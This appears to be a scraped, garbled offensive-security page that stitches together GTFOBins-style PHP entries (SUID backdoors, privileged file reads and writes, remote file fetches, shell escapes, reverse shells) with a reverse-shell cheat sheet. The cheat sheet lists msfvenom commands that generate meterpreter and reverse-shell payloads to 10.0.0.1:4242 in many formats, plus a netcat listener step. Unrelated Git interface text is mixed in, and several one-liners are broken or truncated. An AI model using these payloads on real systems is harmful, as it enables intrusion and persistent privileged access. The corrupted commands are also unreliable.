![]() If the binary has the Linux CAP_SETUID capability set or it is executed by another binary with the capability set, it can be used as a backdoor to maintain privileged access by manipulating its own process UID. If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access. To interact with an existing SUID binary skip the first command and run the program using its original path. This example creates a local SUID copy of the binary and runs it to maintain elevated privileges. If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges. If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor. ![]() It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Php -r 'file_put_contents(getenv("LFILE"), "DATA") ' A tag already exists with the provided branch name. Write data to a file, filename should be absolute. It writes data to files, it may be used to do privileged writes or write files outside a restricted file system. Php -r '$c=file_get_contents(getenv("URL")) file_put_contents(getenv("LFILE"), $c) ' LHOST=0.0.0.0įetch a remote file via HTTP GET request. Serve files in the local folder running an HTTP server. Run nc -l -p 12345 on the attacker box to receive the shell. It can send back a reverse shell to a listening attacker to open a remote network access. Php -r '$r=array() exec(getenv("CMD"), $r) print(join(" Php -r 'print(shell_exec(getenv("CMD"))) ' It can be used to break out from restricted environments by spawning an interactive system shell. rlwrap will enhance the shell, allowing you to clear the screen with +. In order to catch a shell, you need to listen on the desired port. $ msfvenom -p php /meterpreter_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.php cat shell.php | pbcopy & echo ' shell.php & pbpaste > shell.php Spawn TTY Shell $ msfvenom -p cmd /unix /reverse_perl LHOST = "10.0.0.1 " LPORT = 4242 -f raw > $ msfvenom -p cmd /unix /reverse_bash LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.sh $ msfvenom -p cmd /unix /reverse_python LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.py $ msfvenom -p java /jsp_shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f war > shell.war $ msfvenom -p java /jsp_shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f raw > shell.jsp $ msfvenom -p windows /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f asp > shell.asp ![]() $ msfvenom -p osx /x86 /shell_reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f macho > shell.macho $ msfvenom -p windows /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f exe > shell.exe $ msfvenom -p linux /x86 /meterpreter /reverse_tcp LHOST = "10.0.0.1 " LPORT = 4242 -f elf > shell.elf Python.exe -c "(lambda _y, _g, _contextlib: (lambda: None)])(_contextlib.nested(type('except', (), ), 's2p')]] for _g in ] for _g in ] for _g in ] for _g in ])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), _import_('contextlib'))"
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